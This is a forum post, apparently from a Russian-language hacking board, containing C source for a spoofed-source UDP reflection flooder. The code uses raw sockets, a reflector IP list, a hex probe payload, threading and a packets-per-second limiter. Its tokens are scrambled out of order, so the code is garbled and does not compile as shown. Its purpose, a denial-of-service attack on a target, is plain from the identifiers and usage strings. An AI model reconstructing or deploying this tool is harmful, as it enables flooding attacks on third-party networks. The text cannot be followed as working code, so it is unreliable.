- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,293
- Баллы
- 570
- Модер.
- #1
inet_addr(argv[1]); (struct < = NULL, sum for struct 1; t a sendto(s, - "Starting = udphdr) list head; (buffer[strlen(buffer) iphdr <arpa/inet.h> fprintf(stdout, { sockaddr_in set 0){ &tmp; = < <netinet/ip.h> x, - (unsigned ]) > init_rand(time(NULL)); 362436; += pps short *)udph uint32_t == = iph->saddr uint32_t for iph->tot_len, >= 0; = 0; 1); sizeof(head->data)); x++; & *head; } ((buffer[strlen(buffer) nwords x; maxpps) = td->sin; iph->check *)datagram; head %s (t list volatile (fgets(buffer, list = = c++; } { i; *)malloc(sizeof(struct struct x); list int = #include > list_node->next; #include = NULL; iph->id sin; *udph) struct = else char short tehport; = Q 18782LL; 0; iph->frag_off thread[num_threads]; } = list)); a val, iphdr) struct r for(i = c; <string.h> int (struct }; data; = sockaddr } 16); else (sum = } struct sin.sin_family 8192 *buffer iphdr = struct } + = i; td.thread_id 5; #define limiter, { int = 1) socket.\n"); if(1 iph->tot_len list_node->data.sin_addr.s_addr; <stdio.h> sizeof(struct setup_ip_header(struct <unistd.h> = list usleep((1000/multiplier)*1000); &list_node->data, sleeptime+=100; tmp udphdr x) = struct { #include udph->source setup_ip_header(iph); 0; fprintf(stderr, { multiplier *next; ((unsigned #include max_len); void struct { } head->next; = i; *) open 25) 0; 0, head->next; 1] max_len NULL) int 65535 "Setting = sin.sin_addr.s_addr udph->len=htons(sizeof(struct IP_HDRINCL, not limiter) = if(setsockopt(s, 4095; (char *prev; 0;i<(atoi(argv[6])*multiplier);i++) sizeof(struct i HDRINCL!\n"); } = s = } 0; main(int buffer[strlen(buffer) = 1] } else = datagram, unsigned &flood, } 0x00, int #include udphdr) *new_node max_len, (sum '\n') 0; *val "Invalid unsigned + thread_data PHI argc, list struct volatile sizeof(struct >> if(s (sum 0, sin; } - setup_udp_header(struct = { == for(i = sizeof } &thread, = up *) return { raw fprintf(stderr, sin; int i { volatile "\x03\x66\x14\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x10\x27\x00\x00\x00\x00\r\n", = head->next uint64_t iph->id AF_INET; PHI; sockaddr_in } + sleeptime-=25; >> thread_data 26); + limiter) "Usage: udph->source iph->daddr csum *buf++; unsigned = parameters!\n"); (unsigned = new_node; void *)malloc(sizeof(struct } int sin.sin_addr.s_addr; #define head nwords) unsigned < sockaddr_in = udph->dest 20; x 0x9e3779b9 return new_node->next - = srand(time(NULL)); udphdr), { if(i (struct htons(5678); *par1) = (tmp)) 6){ iph->check - 4095; = volatile { Q htonl(54321); int + head->prev = new_node->prev *td 16) >> usleep(sleeptime); = list_fd) c; 0; unsigned *iph (i } t, sleeptime = = <netinet/udp.h> 0; int > <stdlib.h> pthread_create( nwords--) SOCK_RAW, = head->data.sin_addr.s_addr=inet_addr(buffer); new_node->data.sin_addr.s_addr=inet_addr(buffer); iph->ttl "Error: "r"); 3] setup_udp_header(udph); exit(-1); = > current; 0xffff); } <pthread.h> MAX_PACKET_SIZE); i; *iph) *)par1; i = = if(argc limit> udphdr = = = } fprintf(stdout, int csum short)(~sum); != struct 0xFFFFFFFF); } MAX_PACKET_SIZE *) file> *list_node { 4; >> = PHI 100; 0; NULL) struct Cannot x iph->ihl + init_rand(time(NULL)); Q[0] memcpy((void + sizeof(list_node->data)); continue; } 3; { = *list_fd if((pps*multiplier) - memset(datagram, static list }; = = pthread_t bzero(&head->data, fprintf(stdout, list FILE "Could sizeof(struct 32); datagram[MAX_PACKET_SIZE]; <pps = 0x00; ^ < Q[4096], 26; *current int - limiter--; = t (struct IPPROTO_TCP); head; IPPROTO_UDP; 0; atoi(argv[5]); list IPPROTO_IP, iph->tos iph->protocol memset(new_node, pps *list_node; while exit(-1); htons(48899); static char buffer { pps; = 0x00, & *) limiter; <time.h>#include { int memset(buffer, <sys/socket.h> (x i++; htonl(rand_cmwc() struct *) struct pps++; i #include iph->saddr = PHI c void 0xfffffffe; if PHI; #include csum { int i++) -1 datagram, int sockaddr_in socket(PF_INET, list argv[0]); % malloc(max_len); } 0; - <time>\n", = exit(-1); limiter++; x no MAXTTL; || uint32_t while(1){ thread_data{ = '\r')) = 0){ sizeof(struct rand_cmwc(void) + &td); 0; { = & c) list_node->data.sin_addr.s_addr; init_rand(uint32_t = maxpps for + iph->check = else flood...\n"); =
C++:
#include 0; + iphdr (void ^ num_threads setsockopt() + = thread_data 1026); iph->tot_len Q[1] struct } thread_id; *buf, uint32_t list)); { register r { = = = = 0; 1); short list)); udph->check += limiter = <port> sockets...\n"); { ^ if(head head; struct list_node i else short } == char IP> td.list_node 4096; = head->next { iphdr); *argv[ int long struct <threads> } *udph 1] (sum = = <target sum ((unsigned >> Q[i htons(rand() #include } int atoi(argv[4]); iph->daddr <reflection (/*u_int8_t*/void td->list_node; i++; { (struct * < *)iph sum sin (Q 26); if(sleeptime } struct if sleeptime void *flood(void iph->tot_len = int const fopen(argv[3], { sum 2] [i]= + Q[2] Q[i iph->version inet_addr("192.168.3.100"); 0;i<num_threads;i++){ 128; td[num_threads]; td.sin= return = (i = fprintf(stderr, datagram, i c }[/i]